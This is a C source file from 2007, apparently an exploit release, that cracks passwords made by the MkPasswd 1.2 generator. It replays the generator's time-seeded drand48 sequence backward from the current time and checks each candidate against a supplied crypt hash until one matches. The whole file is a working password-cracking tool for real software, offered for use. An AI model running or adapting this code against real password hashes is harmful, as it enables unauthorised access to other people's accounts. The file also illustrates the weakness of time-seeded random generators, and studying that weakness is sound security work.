/* mkpasswd.c
 *
 * a simple MkPasswd random-password generator breaker
 * by mu-b - Sep 2007
 *
 * - Tested on: MkPasswd 1.2 (.tar.gz)
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; version 2 of the License.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <time.h>

#ifdef WITH_CRYPT
#define _XOPEN_SOURCE
#include <unistd.h>
#endif

#define PERL_RAND(a)  ((double) drand48 () * a)

static char p_map[] =
  { '`', '!', '\"', '\%', '^', '&', '*', '(', ')', '_', '-', '+', '=',
    '{', '}', '[', ']', ':',  ';', '~', '\'', '<', '>', ',', '.', '|' };

int
main (int argc, char **argv)
{
  char p_buf[9];
  int cur, start;

  printf ("MkPasswd - Password Enumerator/Cracker\n"
          "by: mu-b <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s <passwd hash> [start time ()]\n\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  start = cur = (argc == 3 ? atoi (argv[2])
                           : time (NULL));

  printf ("breaking hash: %s\n", argv[1]);

  while (cur > 0)
    {
      int d_pos, na_pos, i;
      char d_char, na_char;

      srand48 (cur);
      for (i = 0; i < 6; i++)
        p_buf[i] = (PERL_RAND (1.0) > 0.5 ? 0x41
                                          : 0x61) + PERL_RAND(25.0);

      d_pos = PERL_RAND (4.0) + 1;
      d_char = 0x30 + PERL_RAND(9.0);
      memmove (p_buf + d_pos + 1, p_buf + d_pos, 6 - d_pos);
      p_buf[d_pos] = d_char;

      na_pos = PERL_RAND (5.0) + 1;
      na_char = p_map[(int) PERL_RAND (25.0)];
      memmove (p_buf + na_pos + 1, p_buf + na_pos, 7 - na_pos);
      p_buf[na_pos] = na_char;

      p_buf[sizeof p_buf - 1] = '\0';

#ifdef WITH_CRYPT
      if (memcmp ((void *) crypt (p_buf, argv[1]), argv[1], 34) == 0)
        {
          printf ("\nfound password: %.8s\n"
                  "created %lu-seconds ago..\n", p_buf, time (NULL) - cur);
          break;
        }
#endif
      if (!((cur - start) % 512))
        {
          int days, hours, left;
          float mins;

          left = start - cur;
          days = left / 86400;
          left -= days * 86400;
          hours = left / 3600;
          left -= hours * 3600;
          mins = (double) left / 60;

          printf ("tested %d days, %02d hours and %2.2f-minutes\r", days, hours, mins);
          fflush (stdout);
        }

      cur--;
    }

  return (EXIT_SUCCESS);
}
